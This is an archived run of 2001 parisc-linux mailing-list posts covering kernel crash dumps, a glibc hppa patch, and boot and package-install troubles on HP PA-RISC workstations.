0003f000-00041000 rwxp 0001f000 08:03 57336      /usr/bin/make
00041000-00048000 rwxp 00000000 00:00 0
40000000-4001a000 rwxp 00000000 08:03 14292      /lib/ld-2.2.3.so
4001a000-4001b000 rw-p 00000000 00:00 0
40029000-4002a000 rwxp 00019000 08:03 14292      /lib/ld-2.2.3.so
4002a000-4002b000 rwxp 00000000 00:00 0
4002b000-40033000 r-xp 00000000 08:03 14320      /lib/librt-2.2.3.so
40033000-40042000 ---p 00008000 08:03 14320      /lib/librt-2.2.3.so
40042000-40043000 rwxp 00007000 08:03 14320      /lib/librt-2.2.3.so
40043000-4004d000 rwxp 00000000 00:00 0
4004d000-4017a000 r-xp 00000000 08:03 14299      /lib/libc-2.2.3.so
4017a000-40189000 ---p 0012d000 08:03 14299      /lib/libc-2.2.3.so
40189000-40194000 rwxp 0012c000 08:03 14299      /lib/libc-2.2.3.so
40194000-40197000 rwxp 00000000 00:00 0
40197000-401a5000 r-xp 00000000 08:03 14343      /lib/libpthread-0.9.so
401a5000-401b4000 ---p 0000e000 08:03 14343      /lib/libpthread-0.9.so
401b4000-401c0000 rwxp 0000d000 08:03 14343      /lib/libpthread-0.9.so
401c0000-401c1000 rwxp 00000000 00:00 0
faf00000-faf04000 rwxp 00000000 00:00 0


apollo:/home/richard# dpkg -l libc6 make
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name          Version          Description
+++-=============-================-=======================================
ii  libc6         2.2.3-2.0.0.2    GNU C Library: Shared libraries and Timezone data
ii  make          3.79.1-6.0.1     The GNU version of the "make" utility.


Richard





From - Thu Nov 08 21:17:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: The A500 dump
Date: Wed, 06 Jun 2001 08:10:15 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <200106061410.IAA26608@puffin.external.hp.com>
References: <3B1E2FF0.7D086DB9@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620192 20550 80.91.229.3 (22 Nov 2014 01:36:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  6 08:17:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 408BB485D
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Jun 2001 08:17:47 -0600 (MDT)
Original-Received: from puffin (localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id IAA26608;
	Wed, 6 Jun 2001 08:10:15 -0600
In-Reply-To: Your message of "Wed, 06 Jun 2001 15:28:16 +0200."
             <3B1E2FF0.7D086DB9@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:11272

Thomas Marteau wrote:
> 	I just get a dump from our A500. After that, everything was pretty out
> of service (even the lan console).
...

> skput:over: 000000001025259c:1440 put:-8 de
> v:<NULL>kernel BUG at skbuff.c:93!

I've seen this recently - past month or so.
Could you check kernel bugs and/or parisc-linux mail  archive for the same
skbuff.c output? I wasn't able to track this down all the way either.
If I didn't submit a bug for it, I'll see if I can dig up the info and
submit one.

....
> IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010239ed8 0000000010239e
>   dc
>  IIR: 0e8112d0    ISR: 0000000000000000  IOR: 0000000000000008
> ORIG_R28: 0000000010149f94


For starters, you really want to know what IAOQ and GR02 point at.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D310 boot messages
Date: Wed, 06 Jun 2001 08:14:45 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <200106061414.IAA26634@puffin.external.hp.com>
References: <Pine.LNX.4.21.0106060652360.24277-100000@oliver.internal.sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620192 20554 80.91.229.3 (22 Nov 2014 01:36:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: djweis@sjdjweis.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  6 08:22:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5BF9482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Jun 2001 08:22:15 -0600 (MDT)
Original-Received: from puffin (localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id IAA26634;
	Wed, 6 Jun 2001 08:14:45 -0600
In-Reply-To: Your message of "Wed, 06 Jun 2001 06:53:33 CDT."
             <Pine.LNX.4.21.0106060652360.24277-100000@oliver.internal.sjdjweis.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11273

djweis@sjdjweis.com wrote:
> I was looking through the documentation section of the site and couldn't
> find anything on wax. What other name would it be listed as? I did find
> the lasi docs.

I don't think WAX docs were released. Please just post any questions you
have hear. A few people do have the docs under NDA and have in the recent
past offered to answer questions about WAX/EISA.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@ldl.fc.hp.com (Matthew Wilcox)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [aj@suse.de: Re: Remove multiline asm statements]
Date: Wed, 6 Jun 2001 10:24:30 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <20010606102430.V25417@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620192 20557 80.91.229.3 (22 Nov 2014 01:36:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:32 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  6 10:24:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18DBA482A
	for <parisc-linux@parisc-linux.org>; Wed,  6 Jun 2001 10:24:32 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel2.hp.com (Postfix) with ESMTP id 67D83141B
	for <parisc-linux@parisc-linux.org>; Wed,  6 Jun 2001 12:24:31 -0400 (EDT)
Original-Received: by ldl.fc.hp.com (Postfix, from userid 22224)
	id 0C7FE5AA05; Wed,  6 Jun 2001 10:24:31 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:11274

I don't know the answer to this.  Anyone?

----- Forwarded message from Andreas Jaeger <aj@suse.de> -----

Delivered-To: willy@ldl.fc.hp.com
Mail-Copies-To: never
To: willy@ldl.fc.hp.com (Matthew Wilcox)
Cc: libc-alpha@sources.redhat.com
Subject: Re: Remove multiline asm statements
From: Andreas Jaeger <aj@suse.de>
Date: 06 Jun 2001 13:52:58 +0200
In-Reply-To: <20010605235813.A27862@ldl.fc.hp.com> (willy@ldl.fc.hp.com's message of "Tue, 5 Jun 2001 23:58:13 -0600")
User-Agent: Gnus/5.090004 (Oort Gnus v0.04) XEmacs/21.4 (Academic Rigor)

willy@ldl.fc.hp.com (Matthew Wilcox) writes:

> 2001-06-05  Matthew Wilcox  <willy@ldl.fc.hp.com>
> 
> 	* sysdeps/hppa/dl-machine.h: Reformat asm statements to remove new
> 	  gcc warning about multi-line strings.
> 
> diff -urNx CVS glibc-223/sysdeps/hppa/dl-machine.h glibc-merge/sysdeps/hppa/dl-machine.h
> --- glibc-223/sysdeps/hppa/dl-machine.h	Fri Apr 27 14:31:02 2001
>+++ glibc-merge/sysdeps/hppa/dl-machine.h	Mon May  7 15:25:44 2001
> @@ -75,11 +82,11 @@
>  
>  #if 0
>    /* Use this method if GOT address not yet set up.  */

Can we remove the #if 0 code?

I've committed your patch,
Andreas
-- 
 Andreas Jaeger
  SuSE Labs aj@suse.de
   private aj@arthur.inka.de
    http://www.suse.de/~aj

----- End forwarded message -----

-- 
It's always legal to use Linux (TM) systems
http://www.gnu.org/philosophy/why-free.html




From - Thu Nov 08 21:17:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Pasi_K=E4rkk=E4inen?= <pasik@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with 0.9 ISO Images from mkhppa1.esiee.fr
Date: Wed, 6 Jun 2001 23:09:33 +0300 (EEST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106062308340.24303-100000@edu.joroinen.fi>
References: <200106052034.OAA20747@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1416620193 20559 80.91.229.3 (22 Nov 2014 01:36:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:33 +0000 (UTC)
Cc: Thomas Bogendoerfer <tsbogend@alpha.franken.de>,
	<parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  6 14:09:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from edu.joroinen.fi (edu.joroinen.fi [195.156.135.125])
	by dsl2.external.hp.com (Postfix) with SMTP id A38F3482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Jun 2001 14:09:48 -0600 (MDT)
Original-Received: (qmail 21541 invoked by uid 519); 6 Jun 2001 20:09:34 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 6 Jun 2001 20:09:34 -0000
X-X-Sender: <pk@edu.joroinen.fi>
In-Reply-To: <200106052034.OAA20747@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11275

On Tue, 5 Jun 2001, Grant Grundler wrote:

> > > for that...but I know it's not on the 0.9 ISOs. Booting from a lifima=
ge
> > > (newer kernel plus Dino patch) might work better.
> >
> > even without having Dino ?
>
> No. It won't work better afaik.
> Anyone with a C160 is able to boot/install?
>

I have one C160. What should I try?=3D)


- Pasi K=E4rkk=E4inen

                                   ^
                                .     .
                                 Linux
                              /    -    \
                             Choice.of.the
                           .Next.Generation.





From - Thu Nov 08 21:17:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: E Frank Ball <frankb@efball.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] dselect problems
Date: Wed, 6 Jun 2001 14:02:12 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20010606140212.A11814@zouave.sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620193 20571 80.91.229.3 (22 Nov 2014 01:36:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  6 15:02:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zouave.sonic.net (zouave.sonic.net [209.204.172.153])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4CF1F482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Jun 2001 15:02:16 -0600 (MDT)
Original-Received: from frizzen.efball.com (frizzen.efball.com [192.168.0.27])
	by zouave.sonic.net (Postfix) with ESMTP id 5B9F966CC
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Jun 2001 14:02:15 -0700 (PDT)
Original-Received: by frizzen.efball.com (Postfix, from userid 4168)
	id D0E1124; Wed,  6 Jun 2001 14:02:12 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2i
Xref: news.gmane.org gmane.linux.ports.parisc:11276

I have a 712/80 and a graphics monitor (HP A1097C).  I got the base
system running from the palinux-0.9-32sti.iso CD.

I then tried to run "dpkg-reconfigure base-config".  It got to where it
is supposed to install the packages and died with a message:  failed
running script /usr/sbin/dpkg-preconfigure --apt || true
apt-utils is not installed.

I got apt-utils to install with "apt-get install apt-utils", but now I
can't get anything else to install either with dselect or apt-get.  I
get errors about "couldn't stat source package list cdrom...
- stat (2 no such file or directory).

"which stat" shows nothing.  I don't see a stat package either.
This is my first experience with Debian.

Any clues?, Thanks.

-- 

   E Frank Ball                efball@efball.com
   work: (707) 794-4168        home: (707) 538-3693 




From - Thu Nov 08 21:17:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: E Frank Ball <frankb@efball.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dselect problems
Date: Wed, 6 Jun 2001 14:18:07 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20010606141807.B11814@zouave.sonic.net>
References: <20010606140212.A11814@zouave.sonic.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620193 20572 80.91.229.3 (22 Nov 2014 01:36:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:33 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  6 15:18:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zouave.sonic.net (zouave.sonic.net [209.204.172.153])
	by dsl2.external.hp.com (Postfix) with ESMTP id 646EC482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Jun 2001 15:18:09 -0600 (MDT)
Original-Received: from frizzen.efball.com (frizzen.efball.com [192.168.0.27])
	by zouave.sonic.net (Postfix) with ESMTP id 6552566CC
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Jun 2001 14:18:08 -0700 (PDT)
Original-Received: by frizzen.efball.com (Postfix, from userid 4168)
	id DB5FB24; Wed,  6 Jun 2001 14:18:07 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.2i
In-Reply-To: <20010606140212.A11814@zouave.sonic.net>; from frankb@efball.com on Wed, Jun 06, 2001 at 02:02:12PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:11277

On Wed, Jun 06, 2001 at 02:02:12PM -0700, E Frank Ball wrote:
} 
} I have a 712/80 and a graphics monitor (HP A1097C).  I got the base
} system running from the palinux-0.9-32sti.iso CD.

It had rebooted ok a couple of times, but now it get to starting cron,
then register dumps with a kernel fault.

-- 

   E Frank Ball                efball@efball.com




From - Thu Nov 08 21:17:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mike Werneke" <mikewerneke@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Apollo 735/99 hangs after booting from CDROM
Date: Thu, 07 Jun 2001 03:51:22 -0000
Lines: 28
Approved: news@gmane.org
Message-ID: <F214YiMCIqtQvAauNjV0001bb18@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416620194 20577 80.91.229.3 (22 Nov 2014 01:36:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  7 10:15:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f214.law12.hotmail.com [64.4.19.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36635482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Jun 2001 10:15:30 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 6 Jun 2001 20:51:22 -0700
Original-Received: from 209.232.87.163 by lw12fd.law12.hotmail.msn.com with HTTP;	Thu, 07 Jun 2001 03:51:22 GMT
X-Originating-IP: [209.232.87.163]
X-OriginalArrivalTime: 07 Jun 2001 03:51:22.0402 (UTC) FILETIME=[1E06F020:01C0EF05]
Xref: news.gmane.org gmane.linux.ports.parisc:11278

Hello.

I have an HP Apollo 735/99 workstation with 112MB RAM and a 2GB HD.  The 
external SCSI CDROM is a bit old, but it's Sony from Sun.  I burned the 
32-bit graphical iso this afternoon and it booted into the 2.4.0-pa10 
kernel.   After it's done searching for devices (it finds 13 of them), it 
prints out:

--snip
CPU(s): 1 x PA7100 (PCX-T) at 99.000000 MHz
Kernel command line: HOME=/ TERM=linux root=/dev/ram console=tty0 sti=0 
sti_font=VGA8x16
Console: colour dummy device 80x25
snip--

and then hangs.  Could this be a bad iso image? Or is this a known issue? 
Any help would be greatly appreciated (as is all the effort already done by 
the developers of the parisc port).

Thanks-

Mike Werneke
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com





From - Thu Nov 08 21:17:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Jaeger <aj@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [aj@suse.de: Re: Remove multiline asm statements]
Date: 07 Jun 2001 08:30:45 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <u8ae3kkdii.fsf@gromit.moeb>
References: <20010606102430.V25417@zumpano.fc.hp.com>
	<20010607092322.E12263@bubble.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620194 20584 80.91.229.3 (22 Nov 2014 01:36:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:34 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  7 10:48:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.kdt.de (mail.kdt.de [195.8.224.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DD02482A
	for <parisc-linux@parisc-linux.org>; Thu,  7 Jun 2001 10:48:55 -0600 (MDT)
Original-Received: from arthur.inka.de (arthur.kdt.de [195.8.250.5])
	by mail.kdt.de (8.11.1/8.11.0) with ESMTP id f576iLm10736;
	Thu, 7 Jun 2001 08:44:21 +0200
Original-Received: from gromit.moeb ([192.168.27.3] ident=postfix)
	by arthur.inka.de with esmtp (Exim 3.14 #2)
	id 157tJd-0003kZ-00; Thu, 07 Jun 2001 08:30:45 +0200
Original-Received: by gromit.moeb (Postfix, from userid 207)
	id 44C1F1EA46; Thu,  7 Jun 2001 08:30:45 +0200 (CEST)
Original-Sender: aj@suse.de
In-Reply-To: <20010607092322.E12263@bubble.local> (Alan Modra's message of "Thu, 7 Jun 2001 09:23:22 +0930")
Original-Lines: 22
User-Agent: Gnus/5.090004 (Oort Gnus v0.04) XEmacs/21.1 (Channel Islands)
Xref: news.gmane.org gmane.linux.ports.parisc:11279

Alan Modra <amodra@bigpond.net.au> writes:

>> > diff -urNx CVS glibc-223/sysdeps/hppa/dl-machine.h glibc-merge/sysdeps/hppa/dl-machine.h
>> > --- glibc-223/sysdeps/hppa/dl-machine.h	Fri Apr 27 14:31:02 2001
>> >+++ glibc-merge/sysdeps/hppa/dl-machine.h	Mon May  7 15:25:44 2001
>> > @@ -75,11 +82,11 @@
>> >  
>> >  #if 0
>> >    /* Use this method if GOT address not yet set up.  */
>> 
>> Can we remove the #if 0 code?
> 
> Yes.

Shall I just commit the obvious patch?

Andreas
-- 
 Andreas Jaeger
  SuSE Labs aj@suse.de
   private aj@arthur.inka.de
    http://www.suse.de/~aj




From - Thu Nov 08 21:17:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Apollo 735/99 hangs after booting from CDROM
Date: Fri, 8 Jun 2001 02:15:21 +0800
Lines: 27
Approved: news@gmane.org
Message-ID: <20010608021517.T12793@neep.com.au>
References: <F214YiMCIqtQvAauNjV0001bb18@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620194 20589 80.91.229.3 (22 Nov 2014 01:36:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  7 12:16:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-01.iinet.net.au [203.59.24.16])
	by dsl2.external.hp.com (Postfix) with SMTP id 004F1482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Jun 2001 12:16:30 -0600 (MDT)
Original-Received: (qmail 4110 invoked by uid 666); 7 Jun 2001 18:15:26 -0000
Original-Received: from unknown (HELO guinness.internal.neep.com.au) (203.59.173.126)
  by mail.iinet.net.au with SMTP; 7 Jun 2001 18:15:26 -0000
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id CAA09076
	for parisc-linux@lists.parisc-linux.org; Fri, 8 Jun 2001 02:15:23 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <F214YiMCIqtQvAauNjV0001bb18@hotmail.com>; from mikewerneke@hotmail.com on Thu, Jun 07, 2001 at 03:51:22AM -0000
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:11280

Mike,

Do you have a serial terminal?  Or just a null modem cable and a
"borrowed" Windows PC, perhaps?  You could convert the ISO into the
serial-boot one using the sector0 file from the 0.9 release directory
and see if you can boot the box with your serial terminal or null modem
cable to a terminal emulator program on another workstation.

An easy way to test the original ISO image from which you burned the CD
is to mount the .iso file under Linux (any architecture) as a loopback
iso9660 filesystem.  There are also published checksums to compare
against the .iso file.  You can also check the md5sums of the kernel
images on your burnt CD against those within the mounted .iso file.

(Sorry I cannot be more helpful but I have not yet got the 0.9 iso file
burnt onto a CD yet.)

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:17:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [aj@suse.de: Re: Remove multiline asm statements]
Date: Thu, 7 Jun 2001 09:23:22 +0930
Lines: 15
Approved: news@gmane.org
Message-ID: <20010607092322.E12263@bubble.local>
References: <20010606102430.V25417@zumpano.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620195 20590 80.91.229.3 (22 Nov 2014 01:36:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:35 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, aj@suse.de
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  7 13:41:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailin6.bigpond.com (juicer03.bigpond.com [139.134.6.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64BD6482A
	for <parisc-linux@parisc-linux.org>; Thu,  7 Jun 2001 13:41:07 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.69]) by
          mailin6.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GEJ9HQ00.G8I for <parisc-linux@parisc-linux.org>; Thu, 7 Jun
          2001 10:03:26 +1000 
Original-Received: from 144.136.192.58 ([144.136.192.58]) by bwmam01.mailsvc.email.bigpond.com(MailRouter V2.9e 8311/1704530); 07 Jun 2001 09:58:21
Original-Received: (qmail 14232 invoked by uid 179); 6 Jun 2001 23:53:22 -0000
Mail-Followup-To: Matthew Wilcox <willy@ldl.fc.hp.com>,
	parisc-linux@parisc-linux.org, aj@suse.de
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010606102430.V25417@zumpano.fc.hp.com>; from willy@ldl.fc.hp.com on Wed, Jun 06, 2001 at 10:24:30AM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11281

> > diff -urNx CVS glibc-223/sysdeps/hppa/dl-machine.h glibc-merge/sysdeps/hppa/dl-machine.h
> > --- glibc-223/sysdeps/hppa/dl-machine.h	Fri Apr 27 14:31:02 2001
> >+++ glibc-merge/sysdeps/hppa/dl-machine.h	Mon May  7 15:25:44 2001
> > @@ -75,11 +82,11 @@
> >  
> >  #if 0
> >    /* Use this method if GOT address not yet set up.  */
> 
> Can we remove the #if 0 code?

Yes.





From - Thu Nov 08 21:17:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A detailed support list
Date: Thu, 07 Jun 2001 23:24:11 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <3B1FF0FB.DCCDF6B3@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620195 20595 80.91.229.3 (22 Nov 2014 01:36:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:36:35 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  7 15:30:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CB75482A
	for <parisc-linux@parisc-linux.org>; Thu,  7 Jun 2001 15:30:11 -0600 (MDT)
Original-Received: from esiee.fr (pc5158b.esiee.fr [147.215.50.168])
	by mail.esiee.fr (Postfix) with ESMTP id 15B1BD15A6
	for <parisc-linux@parisc-linux.org>; Thu,  7 Jun 2001 23:30:05 +0200 (CEST)
Original-Sender: root@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11282

Hi PA/Linux guys,

	We put on line a list that sums up for all HP boxes the status of
PA/linux. If you have any comment or if you have any good news to add,
please mail us. We really want to keep this list up-to-date!

